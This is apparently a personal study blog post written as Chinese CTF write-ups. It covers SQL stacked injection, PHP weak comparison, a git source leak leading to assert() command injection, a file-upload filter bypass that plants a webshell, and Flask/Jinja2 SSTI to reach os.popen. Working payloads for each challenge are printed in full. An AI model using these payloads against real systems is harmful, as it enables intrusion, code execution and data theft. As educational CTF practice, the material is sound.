0%

20200315学习总结

继续总结。

sql堆叠注入[stack injection]

sql注入中,当我们无法使用select等查询语句时[通常来说是被过滤了],我们可以考虑尝试堆叠注入。所谓堆叠注入,顾名思义,就是一次性执行多条sql语句。我们知道sql语句以分号;结束,故如果我们使用分号提前结束前一条sql语句,然后再在分号后面执行我们想执行的语句,最后注释掉原本后面的sql语句段,就能实现堆叠注入的效果,从而造成了sql注入。
不过sql堆叠注入的利用条件有限,通常只有在后台sql允许一次执行多条语句时才能利用。以一个题来举例子:
题目链接:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1
拿到题目先尝试'发现sql报错,故判断存在sql注入点。随后1'or '1'='1,发现有回显,随后借助order by发现有两列,但尝试union select查询时发现了下面这条提示:

发现select,update,drop等等关键词都被过滤了,而且发现通过大小写,加注释等方式无法绕过,故只能放弃这一注入方式。随后尝试堆叠注入。
尝试显示一下所有数据库和所有数据表。


随后显示出words表和1919810931114514表的列:


发现在19198109931114514表中存在我们想要的flag,且查询的时候是查询words表里的id,故我们尝试更改表名并把flag列名修改成id列名,19198109931114514表名修改成words表名。
最终payload:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100)

最后通过1'or '1'='1 #得到flag。

php == 弱类型比较

php中有两种比较方式,=====,其中==在进行比较的时候,会先将字符串类型转化成相同,再比较,而===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。举几个例子:

当php比较字符串和数字时,会将字符串向数字尝试转换,字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则值为0。但当字符串中出现.,e,E等字符时,如果字符前后都可转化为合法数字,则.会使字符串转化为小数,e,E会将字符串转换为科学计数法表示的数字。布尔值和数字比较时,true和大于等于1的数弱类型相等,false和0相等。

git源码泄露

git是一个是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。而初始化一个git目录时,会产生一个.git的文件夹,如果没有处理好则会造成git源码泄露。git源码可以通过GitHack来获取文件。以一个题目来举例子。
题目链接:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5002&page=1
拿到题目收集一下信息,F12发现element的注释里有个flag,访问发现为空。发现about页面提示使用了git,判断存在git源码泄露。

访问/.git/目录,发现果然存在git源码泄露。

随后使用GitHack将源码还原。

打开flag.php,发现内容是空的。

打开index.php看看,发现了关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
发现对page的内容只过滤了```..```,故尝试通过闭合连接字符串和执行系统命令来获取flag。故构造如下payload:```'.system("cat ./templates/flag.php").'```最后在注释里面获得flag。

文件上传

题目链接:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Upload

打开题目发现有一个文件上传的接口,随便上传一个1.jpg看看,发现提示Not Image。

修改请求,写入一句话木马,并修改文件名为1.php,再次上传,发现提示错误。

使用phtml后缀绕过,再次提交,依然发现错误。

说明后台对文件内容也进行了分析,提示发现<?故尝试通过<script language="php"></script>绕过,发现成功上传木马。

下面就简单了,使用蚁剑连接。然而发现直接连接/1.phtml会报错,故猜测/upload/1.phtml路径,发现成功连接。

(发现了好多不同的文件后缀,应该除了.phtml其他格式应该也能绕过吧,回头都试试嗯)
后面搜一搜服务器,flag就到手了。

python flask 模板注入

python的flask框架使用Jinja2作为模板渲染引擎,如果render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,这里将造成ssti漏洞。Jinja2中{{}}```是变量包裹标识符,它会将```{{}}中的内容当作变量解析替换,如果我们的url中也含有{{}}```的话,就会造成ssti。 > 吐槽一句,hexo的模板渲染引擎将我文章里的```{{}}给编译掉了,然而我本意就是这个符号,感觉这里有bug…
以一个题目举例子:
题目链接:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5408&page=1
打开题目提示python template injection,尝试发现表达式被执行,故存在ssti。

我们现在需要考虑借助这个ssti获得服务器的控制台权限。因为是python的框架,所以我们需要使用python来获取控制台权限,我们想到了os.systemos.popen两个方法,前者返回退出状态码,后者以file形式返回输出内容。这里我们要看到内容,故选择os.popen

那么怎么找到这个方法呢,python为我们提供了完整的查找链:

1
2
3
4
5
6
7
8
9
10
__class__:返回对象所属类;
__mro__:返回一个类所继承的基类元组,方法在解析按照元组的顺序解析;
__base__:返回该类所继承的基类;
__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的引用的列表;
__init__:类的初始化方法;
__globals__:对包含函数全局变量的字典的引用。
```

ok,我们可以开始操作了。
首先找到当前变量所在的类。

‘’.class

1
服务器返回:  

URL http://111.198.29.45:59359/<type ‘str’> not found

1
2
这个回复告诉我们,当前变量所在的类是str。   
随后我们找到它的基类。

‘’.class.mro

1
服务器返回:  

URL http://111.198.29.45:59359/(<type ‘str’>, <type ‘basestring’>, <type ‘object’>) not found

1
2
基类也有了。   
下一步找到任意一个基类的引用列表。

‘’.class.mro[2].subclasses()

1
2
服务器返回了一大串,我们找到os所在的```site._Printer```类,它在第72位,即```__subclasses__()[71]```。   
于是我们可以开始读取命令行输出了。

‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()

1
服务器返回:  

URL http://111.198.29.45:59359/fl4g index.py not found

1
最后一步,读取fl4g。  

‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()

1
服务器返回:  

URL http://111.198.29.45:59359/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found

flag到手。